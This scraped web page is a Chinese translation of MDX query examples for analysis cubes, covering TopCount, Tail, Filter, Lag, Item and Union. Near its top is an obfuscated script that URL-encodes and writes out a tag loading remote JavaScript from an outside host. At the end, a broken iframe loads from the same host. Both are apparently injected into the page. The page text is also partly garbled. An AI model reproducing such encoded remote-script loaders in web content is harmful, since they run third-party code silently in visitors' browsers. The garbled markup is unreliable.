HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
翻译介绍15个经典的MDX查
iv>
function StorePage(){d=document;t=d.selection?(d.selection.type!='None'?d.selection.createRange().text:''):(d.getSelection?d.getSelection():'');void(keyit=window.open('http://www.365key.com/storeit.aspx?t='+escape(d.title)+'&u='+escape(d.location.href)+'&c='+escape(t),'keyit','scrollbars=no,width=475,height=575,left=75,top=20,status=no,resizable=yes'));keyit.focus();}
翻译介绍15个经典的MDX查询-02and03
15个很具代表性的MDX查询语句
出处
www.sqlmag.com
原作者
Russ Whitney
02.
所有商店中销售前
10
名的产品类别有哪些?
Listing 2
直接利用
TopCount
()函数查询销售前
10
名的产品。
(这是一种最直接的方法,
TopCount
()函数本身自带排序(降序)的功能)
LISTING 2: Determining Top 10 Product Categories
说明:查询销售前
10
名的产品类别
select
{[Unit Sales]}
on
COLUMNS
,
TopCount
( [Product].[Product Category]
.Members
, 10, ([Unit Sales]) )
on
ROWS
from
Sales
查询结果展示:
03.
在美国,刚刚过去的三个季度里都有销售量的食品和饮料有哪些?
(这个查询也可以理解为“过去三个季度里食品和饮料销售量都不为
0
的产品有哪些?”)。查询
Listing 3
示范了如何动态的确定对应的时间集合
—
这是一项很有价值的技巧。时间集合动态随着
cube
数据的更新而改变(也就是说该查询无论你在什么时候执行,无论
cube
的数据作了多少次更新,结果都是最近三个月的数据)。首先,自定义集合
LastQuarter
定义了时间维度中有销售记录的最近一个季度。自定义集合
Last3Quarters
在
LastQuarter
的基础上利用
Range()
函数(实际没有
range
()函数,
冒号:就是作者说的函数
)指定了以
LastQuarter
为最后一个季度的连续的三个季度。我不直接在
Last3Quarter
(原文是
LastQuarter
,我认为是作者笔误)的定义中使用
Tail
()函数是因为这样做返回的可能不是连续的三个季度;因为空记录的季度肯能出现在任何季度,
Filter
()函数只能排除掉空季度。
Lag()
函数结合
range()
函数
,
确保了返回的三个季度是连续的。
在这个查询中,
item(0).item(0)
函数取得指定集合的第一个成员,因为集合在技术上就是一组元组
[
如:来自不同维度的一系列成员也可以组成一个元组
]
,所以用第一个
Item
()函数选择元组,第二个
Item
()选择该元组里的成员。(我们可以这样理解,集合由元组组成,元组由成员组成)。
Listing_03.Determining Brands Sold During the Past Three Quarters.txt
说明:在过去三个季度里都存在销售量的商品销售记录
with
set
[LastQuarter]
as
'
Tail
(
Filter
([Time].[Quarter]
.Members
,
Not
IsEmpty
([Time]
.CurrentMember
)),1)'
set
[Last3Quarters]
as
' [LastQuarter]
.item
(0)
.item
(0)
.Lag
(2) : [LastQuarter]
.item
(0)
.item
(0)'
select
[Last3Quarters]
on
COLUMNS
,
Non
Empty
Union
(
Descendants
( [Food], [Product].[Brand Name] ),
Descendants
( [Drink],
[Product].[Brand Name] ))
on
ROWS
from
Sales
查询结果展示:
注:
TopCount
从集合顶端开始返回指定数目的项,可以选择首先对集合排序。
例子
SELECT
{[Measures].[Store Sales]
} ON COLUMNS,
Topcount(Descendants([Store].[All Stores].[
USA
],[Store].[
Store
City
] ), 10, [store sales])
ON rows from sales
Subset
从集合中返回元素的子集。
例子
SELECT
{measures.[store sales] }
ON
COLUMNS
,
{
Subset
(Time
.allMembers
,0,6)}
ON
rows
from
sales
Tail
从集合尾部返回子集。
例子
SELECT
{measures.[store sales] }
ON
COLUMNS
,
{
tail
(
Subset
(Time
.allMembers
,0,6),4)}
ON
rows
from
sales
Lag
返回指定成员的所在维度上的上一个成员。
例子
with member [measures].[a1] as 'time.currentmember.lag(1).name'
SELECT {[measures].[a1] } ON COLUMNS , { [Time].allmembers } ON ROWS
FROM [Sales]
Filter
返回根据搜索条件对集合进行筛选所得到的集合。
例子
SELECT
{[Measures].[Store Sales]
} ON COLUMNS,
{ filter(time.allmembers,[Measures].[Store Sales]>50000)
}
ON rows from sales
Item
从集合中返回指定元组或者从元组中返回指定成员。
例子
with set kkk as '{{[Time].[1997], [Time].[1998]}*{[Store].[All Stores].[
Canada
],[Store].[All Stores].[
USA
]} }'
member measures.jjj as 'TupleToStr(kkk.item(0).item(0))',solve_order=1
select
{ measures.[store sales],measures.jjj } on columns,
{kkk} on rows
from Sales
Union
返回两个集合的并集,可以选择保留重复项。
例子
SELECT
{[Measures].[Store Sales]
} ON COLUMNS,
Union
(USA.Children, CANADA.Children, ALL)
ON rows from sales
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">